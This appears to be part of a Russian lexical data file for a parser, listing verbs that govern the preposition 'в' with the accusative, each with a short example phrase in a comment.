rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
